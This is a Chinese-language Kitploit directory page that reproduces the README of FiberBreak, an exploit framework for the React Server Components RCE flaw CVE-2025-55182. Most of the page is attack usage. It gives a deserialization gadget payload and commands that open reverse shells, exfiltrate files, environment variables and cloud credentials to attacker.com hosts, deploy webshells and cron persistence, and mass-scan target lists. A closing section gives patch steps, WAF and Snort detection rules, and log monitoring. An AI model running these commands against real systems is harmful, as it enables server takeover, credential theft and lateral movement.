Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
FiberBreak — React2Shell 利用工具 (CVE-2025-55182) | Kitploit
工具/GitHubGitHub/scumfrog/fiberbreak
侦察漏洞扫描器漏洞利用Web应用程序漏洞利用数据泄露后渗透利用渗透测试云安全命令与控制红队Payload 开发
GitHub
8个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
scumfrog/fiberbreak

FiberBreak

React2Shell 利用工具 (CVE-2025-55182)

查看仓库

FiberBreak

针对 CVE-2025-55182(React2Shell)的利用框架 —— React Server Components 中的严重 RCE 漏洞。

概述

  • CVE:CVE-2025-55182
  • CVSS:10.0(严重)
  • 类型:远程代码执行 (RCE)
  • 影响范围:React 19.0.0-rc.0 至 19.0.0,Next.js 15.0.0 至 15.0.3
  • 发现者:Lachlan Miller (SonarSource)
  • 公开 PoC:maple3142

安装

root@kitploit:~
# 克隆仓库
git clone https://github.com/scumfrog/fiberbreak
cd fiberbreak

# 安装依赖
pip install -r requirements.txt

# 赋予可执行权限
chmod +x fiberbreak.py

快速开始

root@kitploit:~
# 搭建易受攻击的测试环境
docker-compose up -d

# 等待启动
sleep 20

# 测试检测
./fiberbreak.py -u http://localhost:3000 detect

# 执行 RCE
./fiberbreak.py -u http://localhost:3000 exploit -c "whoami"

# 验证
docker exec react2shell-lab ls -la /tmp/

技术细节

漏洞概述

CVE-2025-55182 是 React Server Components (RSC) 中的一个严重远程代码执行漏洞,允许未经身份验证的攻击者在服务器上执行任意代码。

根本原因:React Flight 协议在反序列化不可信的客户端输入时未进行充分的验证,使得攻击者能够构造恶意有效载荷,滥用 JavaScript 的原型链和 Function 构造函数。

攻击向量:攻击者向任意 RSC 端点发送精心构造的 multipart/form-data POST 请求,并携带 Next-Action 标头。恶意有效载荷利用了以下机制:

  1. 通过 __proto__ 访问实现原型污染
  2. 通过 constructor:constructor 暴露 Function 构造函数
  3. 通过 Promise 解析触发代码执行

利用流程

root@kitploit:~
1. 攻击者发送构造的 POST 请求
   └─ multipart/form-data 格式,包含恶意 JSON
   └─ Next-Action 标头(任意值)

2. 服务器反序列化有效载荷
   └─ React 处理 RSC 块格式
   └─ 解析类似 Promise 的对象

3. 触发 gadget 链
   └─ __proto__ 访问绕过 hasOwnProperty 检查
   └─ constructor:constructor 暴露 Function()
   └─ _prefix 执行任意代码

4. 实现 RCE
   └─ 服务器执行攻击者的 JavaScript
   └─ 完全控制系统

Gadget

root@kitploit:~
{
  "then": "$1:__proto__:then",           // 原型污染
  "status": "resolved_model",            // 伪造的 React 内部状态
  "reason": -1,                          // 触发解析
  "value": '{"then":"$B1337"}',         // Blob 引用
  "_response": {
    "_prefix": "MALICIOUS_CODE_HERE;",   // 被执行的代码
    "_formData": {
      "get": "$1:constructor:constructor" // Function() 访问
    }
  }
}

受影响的代码路径

root@kitploit:~
// react-server-dom-webpack/src/ReactFlightClient.js
function resolveModelChunk(chunk) {
  const value = JSON.parse(chunk.value);
  
  // 此处缺少验证,允许恶意块
  if (value && typeof value.then === 'function') {
    // 攻击者控制 'then' 方法
    value.then(/* ... */);
  }
}

用法

漏洞检测

root@kitploit:~
# 单个目标检测
./fiberbreak.py -u https://target.com detect

# 从文件读取多个目标
./fiberbreak.py -l targets.txt detect --threads 20

# 将结果保存为 JSON
./fiberbreak.py -l targets.txt detect -o results.json

# 禁用 SSL 验证
./fiberbreak.py -u https://target.com detect --no-verify-ssl

基本利用

root@kitploit:~
# 简单的盲命令执行
./fiberbreak.py -u https://target.com exploit -c "whoami"

# 写入文件到磁盘
./fiberbreak.py -u https://target.com exploit \
  -c "/tmp/pwned.txt:HACKED" -t write_file

# 读取文件内容
./fiberbreak.py -u https://target.com exploit \
  -c "/etc/passwd:https://attacker.com" -t file_read

高级利用

root@kitploit:~
# 反向 Shell
./fiberbreak.py -u https://target.com exploit \
  -c "10.10.10.10:4444" -t reverse_shell

# DNS 外传(隐蔽,无 HTTP 流量)
./fiberbreak.py -u https://target.com exploit \
  -c "whoami:attacker.oastify.com" -t dns_exfil

# HTTP 外传并回显输出
./fiberbreak.py -u https://target.com exploit \
  -c "id:https://attacker.com/exfil" -t http_exfil

# 导出环境变量
./fiberbreak.py -u https://target.com exploit \
  -c "https://attacker.com/env" -t env_dump

# 系统侦察
./fiberbreak.py -u https://target.com exploit \
  -c "https://attacker.com/recon" -t recon

# 隐蔽 DNS 信标(无命令输出)
./fiberbreak.py -u https://target.com exploit \
  -c "attacker.oastify.com" -t stealth_beacon

云环境利用

root@kitploit:~
# 自动检测云提供商并提取凭据
# 支持:AWS、GCP、Azure、DigitalOcean、Oracle Cloud、阿里云
./fiberbreak.py -u https://target.com exploit \
  -c "https://attacker.com/cloud" -t cloud_metadata

载荷类型

真实场景

漏洞赏金狩猎

root@kitploit:~
# 1. 使用 DNS 信标进行隐蔽检测
./fiberbreak.py -u https://target.com exploit \
  -c "recon.yourburp.oastify.com" -t stealth_beacon

# 2. 如果存在漏洞,提取敏感数据
./fiberbreak.py -u https://target.com exploit \
  -c "https://yourserver.com/exfil" -t env_dump

# 3. 检查云环境
./fiberbreak.py -u https://target.com exploit \
  -c "https://yourserver.com/cloud" -t cloud_metadata

# 4. 记录发现,避免造成损害

渗透测试

root@kitploit:~
# 阶段 1:检测
./fiberbreak.py -u https://target.com detect -o detection.json

# 阶段 2:验证
./fiberbreak.py -u https://target.com exploit \
  -c "/tmp/pentest_proof.txt:PENTEST_$(date +%s)" -t write_file

# 阶段 3:影响评估
./fiberbreak.py -u https://target.com exploit \
  -c "https://pentest-server.com/impact" -t recon

# 阶段 4:凭据提取(如果是云环境)
./fiberbreak.py -u https://target.com exploit \
  -c "https://pentest-server.com/creds" -t cloud_metadata

# 阶段 5:交互式访问(如果授权)
# 终端 1:启动监听器
nc -lvnp 4444

# 终端 2:获取 shell
./fiberbreak.py -u https://target.com exploit \
  -c "YOUR_IP:4444" -t reverse_shell

大规模漏洞扫描

root@kitploit:~
# 创建目标列表
cat > targets.txt << EOF
https://app1.company.com
https://app2.company.com
https://app3.company.com
https://api.company.com
EOF

# 并行扫描所有目标
./fiberbreak.py -l targets.txt detect --threads 50 -o scan_results.json

# 筛选易受攻击的目标
cat scan_results.json | jq '.[] | select(.vulnerable==true) | .url'

# 生成报告
cat scan_results.json | jq '{
  total: length,
  vulnerable: [.[] | select(.vulnerable==true)] | length,
  targets: [.[] | select(.vulnerable==true) | .url]
}'

云基础设施评估

root@kitploit:~
# AWS EC2 实例
./fiberbreak.py -u https://aws-app.com exploit \
  -c "https://attacker.com/aws" -t cloud_metadata

# 回调接收:
# - 实例 ID、区域、可用区
# - IAM 角色名称
# - 临时 AWS 凭据(AccessKeyId、SecretAccessKey、Token)
# - 用户数据
# - 网络配置

# GCP Compute Engine
./fiberbreak.py -u https://gcp-app.com exploit \
  -c "https://attacker.com/gcp" -t cloud_metadata

# 回调接收:
# - 项目 ID、实例名称、区域
# - 服务账号邮箱
# - OAuth2 访问令牌
# - 可用范围

# Azure 虚拟机
./fiberbreak.py -u https://azure-app.com exploit \
  -c "https://attacker.com/azure" -t cloud_metadata

# 回调接收:
# - 实例元数据
# - 托管标识 OAuth2 令牌
# - 订阅信息

利用技术

技术 1:盲 RCE 确认

root@kitploit:~
# 创建唯一标记文件
MARKER="pwned_$(date +%s)"
./fiberbreak.py -u https://target.com exploit \
  -c "/tmp/${MARKER}:proof" -t write_file

# 通过时序攻击或带外方式验证
./fiberbreak.py -u https://target.com exploit \
  -c "curl https://attacker.com/${MARKER}" -t simple

技术 2:数据外传管道

root@kitploit:~
# 步骤 1:枚举文件
./fiberbreak.py -u https://target.com exploit \
  -c "find /app -type f -name '*.env':https://attacker.com/files" -t http_exfil

# 步骤 2:提取配置
./fiberbreak.py -u https://target.com exploit \
  -c "/app/.env:https://attacker.com/config" -t file_read

# 步骤 3:提取数据库凭据
./fiberbreak.py -u https://target.com exploit \
  -c "https://attacker.com/env" -t env_dump

技术 3:横向移动

root@kitploit:~
# 提取 AWS 凭据
./fiberbreak.py -u https://target.com exploit \
  -c "https://attacker.com/aws" -t cloud_metadata

# 使用提取的凭据进行横向移动
export AWS_ACCESS_KEY_ID=""
export AWS_SECRET_ACCESS_KEY=""
export AWS_SESSION_TOKEN=""

# 枚举资源
aws s3 ls
aws ec2 describe-instances
aws rds describe-db-instances

缓解与检测

立即修补

root@kitploit:~
# 更新 React
npm install [email protected] [email protected]

# 更新 Next.js
npm install [email protected]  # 或 [email protected]+

# 验证版本
npm list react react-dom next

WAF 规则

nginx

root@kitploit:~
# 阻止带有 Next-Action 标头的请求
if ($http_next_action) {
    return 403;
}

# 限制 RSC 端点的速率
limit_req_zone $binary_remote_addr zone=rsc:10m rate=10r/s;

location / {
    limit_req zone=rsc burst=20;
}

Apache (ModSecurity)

root@kitploit:~
# 检测 Next-Action 标头
SecRule REQUEST_HEADERS:Next-Action "@rx ." \
    "id:2025551820,\
     phase:2,\
     deny,\
     status:403,\
     log,\
     msg:'检测到 CVE-2025-55182 利用尝试'"

# 检测恶意 RSC 载荷
SecRule REQUEST_BODY "@rx (__proto__|constructor|prototype)" \
    "id:2025551821,\
     phase:2,\
     deny,\
     status:403,\
     log,\
     msg:'检测到恶意 RSC 载荷'"

Cloudflare WAF

root@kitploit:~
// 自定义规则
(http.request.headers["next-action"] ne "") or
(http.request.body.raw contains "__proto__") or
(http.request.body.raw contains "constructor:constructor")

网络级检测

root@kitploit:~
# Snort/Suricata 规则
alert tcp any any -> any any (
    msg:"CVE-2025-55182 React2Shell 利用尝试";
    flow:to_server,established;
    content:"Next-Action"; http_header;
    content:"__proto__"; http_client_body;
    sid:2025551820;
    rev:1;
)

应用级保护

root@kitploit:~
// Next.js 中间件
export function middleware(request) {
  // 阻止来自不受信任来源的带有 Next-Action 标头的请求
  if (request.headers.get('next-action')) {
    // 验证来源
    const origin = request.headers.get('origin');
    const allowedOrigins = ['https://yourdomain.com'];
    
    if (!allowedOrigins.includes(origin)) {
      return new Response('Forbidden', { status: 403 });
    }
  }
  
  return NextResponse.next();
}

export const config = {
  matcher: '/:path*',
};

监控与告警

root@kitploit:~
# 在日志中监控利用尝试
grep -r "Next-Action" /var/log/nginx/access.log
grep -r "__proto__" /var/log/nginx/access.log

# 对可疑模式发出警报
tail -f /var/log/nginx/access.log | grep -E "(Next-Action|__proto__|constructor:constructor)" | \
while read line; do
    echo "[ALERT] 潜在的 CVE-2025-55182 利用尝试: $line"
    # 发送到 SIEM/告警系统
done

参考

官方资源

  • NVD CVE-2025-55182
  • React 安全公告
  • Next.js 安全公告

研究论文

  • Wiz Security: React2Shell 深度分析
  • OffSec: CVE-2025-55182 分析
  • SonarSource: 原始发现

社区资源

  • maple3142
  • 公开漏洞利用集合

法律免责声明

仅用于教育和授权安全测试

未经授权使用是被禁止的。详情请参阅 LICENSE。

下载工具
类型格式描述输出
simplecommand执行任意 shell 命令盲执行
outputcommand + --callback执行命令并通过 HTTP 回调输出是
reverse_shelllhost:lportBash 反向 shell交互式
dns_exfilcmd:domain 或 domainDNS 外传DNS 日志
http_exfilcmd:callback_urlHTTP 外传HTTP POST
file_readfilepath:callback读取文件并外传HTTP POST
write_filefilepath:content写入文件到磁盘盲执行
env_dumpcallback_url导出环境变量HTTP POST
cloud_metadatacallback_url提取云凭据HTTP POST
reconcallback_url系统侦察HTTP POST
stealth_beacondomainDNS 信标DNS 日志
webshellfilepath部署 Node.js WebShell端口 8080
persistcallback_url安装 cron 持久化Cron 任务